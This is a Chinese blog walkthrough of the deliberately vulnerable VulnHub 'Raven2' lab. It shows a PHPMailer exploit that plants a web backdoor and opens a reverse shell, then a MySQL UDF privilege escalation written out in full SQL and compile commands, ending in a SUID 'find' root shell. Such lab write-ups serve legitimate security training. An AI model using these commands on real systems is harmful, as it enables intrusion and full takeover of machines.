vulnhub靶场,Raven2


vulnhub靶场,Raven2

环境准备

靶机下载地址:https://www.vulnhub.com/entry/raven-2,269/
攻击机:kali(192.168.58.130)
靶机:Raven2(192.168.58.157)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式

信息收集

使用arp-scan确定目标靶机

使用nmap扫描查看目标靶机端口开放情况

开放端口:22、80、111、56784
浏览器访问目标靶机80端口

就是一个非常普通的页面,没有啥好利用的
网站目录结构扫描

dirb http://192.168.58.157/


只查看一级目录,然后挨个去访问试试
访问http://192.168.58.157/vendor/时,出现如下页面

然后挨个去查看,查看PATH文件时,成功获取到第一个flag

查看README.md文件,可以看到目标网站安装了PHPMailer

查看VERSION文件,可以看到PHPMailer版本为5.2.16

上面目录扫描发现下面还有一个wordpress的网站,访问试试

可以看到输入的IP变为一个域名了,肯定是域名重定向了
进入配置文件/etc/hots,进行配置

再次访问成功找到wordpress主网页

既然知道网站CMS为wordpress,那就使用wpscan扫描看看

wpscan --url http://192.168.58.157/wordpress/


就只知道了CMS的版本号,没有啥大用处
前面扫描发现网站安装了PHPMailer,在kali的漏洞库里搜索PHPMailer存在的漏洞

渗透过程

前面信息收集看到PHPMailer确实存在漏洞,然后这里使用40974.py
将攻击代码复制到本地

查看其内容,发现有几个位置是需要修改的
开头要加上

#!/usr/bin/python
# -*- coding: utf-8 -*-


防止乱码出现错误
然后在如下位置进行修改

保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件icepeak.php

这个错误是没有安装requests_toolbelt,使用pip install安装一下

这个提示是python3中已经安装了requests_toolbelt,所以使用python3去运行

python3 40974.py 


然后使用kali监听8888端口

浏览器访问后门文件

可以看到kali这边成功反弹到一个shell

使用find命令查找flag

find / -name flag*


成功找到flag2和flag3

权限提升

利用工具LinEnum(Linux枚举及权限提升检查工具)
下载地址:https://github.com/rebootuser/LinEnum

开启一个临时服务器

靶机使用wegt将LinEnum.sh下载到本地

给LinEnum.sh执行的权限

运行LinEnum.sh

可以看到mysql服务器是以root身份运行的
进入wordpress网站的根目录,查看wp-config.php的信息

可以看到里面放着mysql的账号和密码:root:R@v3nSecurity
登入mysql服务器,查看你mysql版本信息

网上搜索关键字

可以看到可以使用udf提权
kali漏洞库搜索udf

这里使用1518.c
将1518.c下载到本地

然后进行编译

gcc -g -c 1518.c 
gcc -g -shared -o icepeak.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名


开启一个临时服务器

靶机将icepak.so下载到本地

进入数据库,发现是具有读和写的权限的

use mysql; 
#进入数据库
create table foo(line blob); 
#创建数据表foo
insert into foo values(load_file('/tmp/icepeak.so')); 
#插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/icepeak.so'; 
#( Foo表成功插入二进制数据,
然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
新建存储函数)
create function do_system returns integer soname 'icepeak.so'; 
#(创建自定义函数do_system 类型是integer,别名
soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find'); 
#(调用do_system函数来给find命令所有者的suid权限,使其可以执行
 root命令)
quit


退出mysql,使用/usr/bin/find提权

可以看到权限已经为root了,切换其根目录,发现最后一个flag,Raven2靶机所有flag查找完毕,至此,Raven2靶机渗透结束


文章作者: icepeak
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 icepeak !
  目录